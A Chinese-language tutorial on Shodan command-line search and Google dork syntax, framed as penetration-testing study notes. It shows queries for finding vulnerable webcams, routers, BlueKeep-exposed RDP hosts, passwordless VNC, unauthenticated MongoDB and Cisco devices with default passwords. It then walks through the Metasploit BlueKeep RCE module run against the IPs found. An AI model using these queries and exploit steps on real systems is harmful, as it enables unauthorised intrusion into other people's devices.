shodan 和 Google 语法
shodan
shodan作用
shodan是一个网络空间测绘引擎,也可以叫做网络空间搜索引擎。可以用来搜索网络设备,主要用于信息收集。
工作原理
厂商在全球范围内的服务器上部署了很多扫描器,通过24小时不停地扫描相关的设备IP地址。
优点:
方便
缺点:
实时性差、消耗资源大。
kali安装shodan教程
# 克隆shodan
git clone https://github.com/achillean/shodan-python.git
# 切换到shodan-python文件夹
cd shodan-python
# 安装
python setup.py install
# 初始化shodan
shodan init api key
# 查看使用帮助文档
shodan -h
shodan 语法
国家代码
常见的国家代码
中国:cn
日本:jp
韩国:kr
国家代码大全:https://m.taodocs.com/p-214021026.html
shodan参数
search参数
search 参数作用:查询shodan数据库中的数据。
扫描 shodan 数据库中10个归属日本的 IP
shodan search --limit 10 country:jp
扫描shodan数据库中10个归属日本的IP,且只显示ip和port信息。
shodan search --limit 10 --fields ip_str,port country:jp
扫描 shodan 数据库中10个开放3389端口归属中国深圳的IP
shodan search --cilor --limit 10 --fields ip_str port:3389 country:cn city:shenzhen
host 参数
查看ip信息
shodan host ip
OS 参数
OS 参数作用:查看指定系统
扫描 shodan 数据库中10个开发3389端口归属韩国的IP,且操作系统版本为Windows。
shodan search --limit 10 --fields ip_str port:3389 country:kr os:windows
has_vuln参数
has_vuln:True 作用:判断 IP 是否存在漏洞。
查找10个有漏洞的IP地址,仅显示IP地址信息
shodan search has_vlun:True --limit 10 --fields ip_str
device参数
device:webcam 查找摄像头设备
查找10个有漏洞摄像头设备的IP地址,仅显示IP地址信息
shodan search has_vuln:True --limit 10 --fields ip_str device:webcam
查找路由器device:router
查找10个有漏洞路由器设备的IP地址,仅显示IP和port信息
shodan search has_vuln:True --limit 10 --fields ip_str,port device:router
查找web端设备tp-link
查找10个有漏洞在web端的tp-link设备的IP地址,仅显示IP和port信息
shodan search has_vuln:True --limit 10 --fields ip_str,port tp-link
download参数
作用:在shodan查找到的结果保存为JSON格式,并压缩成相对应的压缩文件(.gz)。
用法:shodan download + 操作参数 + 文件名 + 查询条件
查看帮助文档 :shodan download -h
download用法:下载100条0708相关的漏洞示例
shodan download 0708 --limit 100 '"\x03\x00\x00\x0bx06\xd0\x00\x00\x124\x00"'
-
total number of results:是指查询到满足条件的IP地址总数。
-
query credit left:是指输出到文件的IP数量。
-
output file:是指输出的文件名称。
parse参数
作用:将压缩文件解压成JSON文件
parse用法:shodan parse + 操作参数 + 文件名
查看帮助文档:shodan parse -h
例子:
# 将0708.json.gz文件解压缩,并只保留IP字段
shodan parse --fields ip_str 0708.json.gz
# 将0708.json.gz文件解压缩后,重定向到0708.txt文件,并只保留IP字段
shodan parse --fields ip_str 0708.json.gz > 0708.txt
count 参数
作用:在shodan数据库中,查找相关信息并计数。
查看帮助手册:shodan count -h
计算在 shodan 数据库中存在 CVE-2019-0708 漏洞的日本 IP 的数量
honeyscore参数
作用:检测IP是否是蜜罐
honeyscore用法 : shodan honeyscore IP
查看帮助手册:shodan honeyscore -h
hostory参数
hostory 参数作用:查看 IP 地址数据信息,包含服务变更、端口变化、操作系统和软件版本演变。
hostory用法:shodan host IP --history
http.title 参数用法
http.title 参数作用:该参数主要用来查询指定查询网站指定标题。
例子:shodan search http.title:"hello world"
http.html 参数用法
http.html 参数作用:该参数主要用来查询网站存在指定的内容。
例子:shodan search http.html:"hello world"
http.waf 参数用法
http.waf 参数作用:该参数主要用来查询网站防火墙。
例子:shodan search http.html:"hello world"
myip 参数用法
myip 参数作用:该参数用来查询出口IP。
shodan myip
net 参数用法
net 参数作用:该参数用来查询IP网段。
例子:shodan search net:192.168.1.0/24
org 参数用法
org 参数作用:该参数用来查询组织或公司资产。
例子:shodan search org:nsa.gov
alert 参数
alert 参数作用:发送管理网络监控警报到邮箱
查看帮助文档命令:shodan alert -h
info 参数
info 参数作用:查询账号查询和扫描次数。
示例:shodan info
damain 参数
damain 参数作用:查看域名信息
示例:shodan domain -h
scan 参数
scan 参数作用:扫描IP或者网段
查看帮助文档:shodan scan -h
例子:
扫描IP地址:shodan scan submit ip
例子:
查询扫描历史记录:shodan scan list
stats 参数
以版本作为统计维度,统计中国使用ssl协议的IP数量
shodan stats --facets ssl.version country:cn has_ssl:true
has_screenshort 参数
has_screenshort 参数作用:查询资产是否存在截图功能。
示例:
shodan search --limit 10 --fields ip_str has_screenshot:true cisco
shodan 与 msf 的联动
shodan 查找 CVE-2019-0708 漏洞
方法一:
shodan search --limit 10 --fields ip_str '"\x03\x00\x00\x0bx06\xd0\x00\x00\x124\x00"'
方法二:
shodan search --limit 10 has_vuln:cve-2019-0708
十六进制字符串 \x03\x00\x00\x0bx06\xd0\x00\x00\x124\x00
表示CVE-2016-0708漏洞的漏洞特征。
远程桌面出现链接后,可以使用弱口令进行测试 Administor && Administor
使用 msf 验证 shodan 查找到的 CVE-2019-0708 漏洞
msf 基本利用
# 启动msf
msfconsole
# 查询0708漏洞
search 0708
# 使用cve_2019_0708_bluekeep_rce漏洞
use exploit/windows/rdp/cve_2019_0708_bluekeep_rce
# 展示当前攻击漏洞的详细说明
info
# 展示攻击模块需要设置的值
show options
# 查询当前支持攻击平台
show targets
# 设置目标主机地址
set rhosts file:ip地址文件
# 检测是否存在漏洞
check
# 执行攻击
run
info命令展示
show options命令展示
check命令展示
-
[+] 表示存在漏洞
-
[*] 表示不存在漏洞
利用 shodan 查找存在漏洞的 IP 资产
查找存在 VNC 空密码漏洞的资产
shodan 查找设置空密码的 VNC 服务的 IP
shodan search --limit 50 --fields ip_str "authenitication disabled" port:5900
使用 VNC 客户端连接查找到的 IP ,如果能够连接上 IP,则说明 IP 存在的 VNC 空密码漏洞。
VNC介绍
VNC (Virtual Network Console),叫做虚拟网络控制台。它是一种远程左面应用程序,它允许用户在自己的计算机上创建一个会话,并通过网络连接到另一台计算机,从而控制它。
很多时候,人们在使用VNC服务的时候,可能没有设置登陆访问VNC的登陆凭证,导致存在非法用户也能使用VNC服务。
VNC服务的端口号为:5900
VNC安装
安装VNC客户端即可。
查找存在 cisco 弱口令的资产
默认密码:
1. cisco / cisco
2. admin / cisco
示例:
shodan search --limit 10 --fields ip_str,port "cisco -authorized port:23"
查找存在 MongoDB 弱口令漏洞的资产
MongoDB指定的默认端口为:27017
示例:
shodan search "MongoDB server information -authentication" port:27017
查找 Jenkins 组件资产
示例:
shodan search --limit 10 --fields ip_str "X-jenkins" OR "Set-cookie:JSESSIONID" http.title:"Dashboard"
Jenkins 组件介绍
Jenkins 是一款高人气、备受业内认可的开源自动化服务器。Jenkins 可以帮助简化 CI/CD 环境设置,并通过自动化技术加速软件开发。
虽然还是需要为各个步骤创建脚本,但使用 Jenkins,我们可以将整个管道纳入自动化流程。Jenkins 的编程语言为 Java,提供了 1700 多个插件/集成,海量资源帮助开发人员创建合适的 CI/CD 环境。
Jenkins 组件作用
-
自动化构建与部署。
-
能自动从代码仓库获取代码并进行编译、打包等构建操作。
-
可以把构建好的成果自动部署到不同环境中。
-
自动化测试
-
自动运行各种测试,如单元测试、集成测试等。
-
任务管理。
-
可设置定时任务,按特定时间自动执行工作。
-
能管理任务间的依赖关系。
-
监控任务状态,失败时通知相关人员。
-
可扩展定制。
-
有很多插件可满足不同需求,也能自行开发插件。(自动测试 自动上线 自动回滚)
学习 Jenkins组件的目的
在渗透测试过程中的辅助作用。
自动化测试
Jenkins 可以用于自动化渗透测试过程中的一些任务,如漏洞扫描、安全测试等。通过编写 Jenkins任务,可以定期对目标系统进行安全测试,提高测试效率和覆盖范围。
持续集成与持续部署(CI/CD)
在一些企业中Jenkins 被用于 CI/CD 流程中。渗透测试人员可以利用Jenkins 的 CI/CD 流程,在开发和部署过程中进行安全测试,及时发现和修复安全问题。漏洞管理:Jenkins 可以与漏洞管理工具集成,帮助企业管理和跟踪安全漏洞。渗透测试人员可以利用 Jenkins的漏洞管理功能,了解目标系统中存在的安全漏洞,并制定相应的攻击策略。
总之,Jenkins 在渗透测试中既可能是攻击目标,也可以作为辅助工具。渗透测试人员需要了解 Jenkins 的安全风险和漏洞,以及如何利用 Jenkins 来提高渗透测试的效率和效果。同时,企业也需要加强 Jenkins 的安全配置和管理以防止被攻击者利用
常见的高危端口
在使用shodan时,可以结合高危端口进行搜索到相对应的资产,方便进行攻击。
-
21 - FTP
-
22 - SSH
-
25 - SMTP
-
110 - POP3
-
143 - ILAP
-
53 - DMS
-
3306 - MySOL数据库股务器
-
5432 - PostgreSQL数据库服务器
-
3389 - 远程桌面协议(RDP)
-
69 - TFTP
-
137-139 - NetB10S端口
-
67-68 - DHCP
google语法
Google语法可以搭配组合使用,这样能更加精确查询到相关信息。
inurl 语法
inurl语法作用:inurl是在URL的路径中查找相对应的字符。
-
“inurl:admin”: 查找包含 “admin” 的网页 URL,可能找到管理后台入口。
-
“inurl:login”:查找包含 “login” 的登录页面。
-
“inurl:php?id=” :查找可能存在 SQL 注入漏洞的 PHP 页面。
-
“inurl:asp?id=”:查找可能存在 SQL 注入漏洞的 ASP 页面
-
“inurl:jsp?id=”:查找可能存在 SQL 注入漏洞的 JSP 页面。
filetype 语法
filetype语法作用:查找指定的文件类型。
-
“filetype:pdf 关键词”:查找特定关键调的PDF 文件。
-
“filetype:doc 关键词”:查找特定关键词的 Word 文档。
-
“filetype:xls 关键词”:查找特定关键调的Excel表格。
-
“filetype:xlsx 关键词”:查找特定关键调的Excel表格。
intitle语法
intitle 语法作用:查找网站标题。
-
“intitle:后台管理”:查找标题中包含“后台管理”的网页。
-
“intitle:登录页面”:查找标题中包含 “登录页面” 的网页。
site语法
site 语法作用:查找指定网站域名相关的信息。
-
“site:gov inurl:upload”:在政府网站中查找可能存在文件上传漏洞的页面。
-
“site:edu inurl:forum”:在教育机构网站中查找论坛页面。
-
“site:.com inurl:phpmyadnin”:在商业网站中查找可能存在phpMyhdnin 管理页面。
-
“site:.org inurl:password”:在非营利组织网站中查找包含“password” 的页面,可能找到泄露的密码信息。
-
"site:.net inurl:backup”:在.net 域名网站中查找备纷文件。
-
“site:.gov.cn intitle:敏感信息”:在政府中文域名网站中查找标题包含敏感信息的页面。
-
“site:company.com inurl:confidential”:在特定公司网站中查找包含“confidential”(机密)的页面。
-
“site:domain.com inurl:uploads”:在特定域名网站中查找上传文件的目录。
-
“site:.edu.cn filetype:ppt 关键词”:在教育机构中文域名网站中查找特定关键词的 PPT 文件。
-
“site:*.gov inurl:vulnerability”:在各种政府网站中查找含“vulnerability”(漏洞)的页面。
intext 语法
intext 语法作用:查找网站中存在的关键字。
-
intext:账号 site:example.com :查询example.com中含账号关键字的的页面。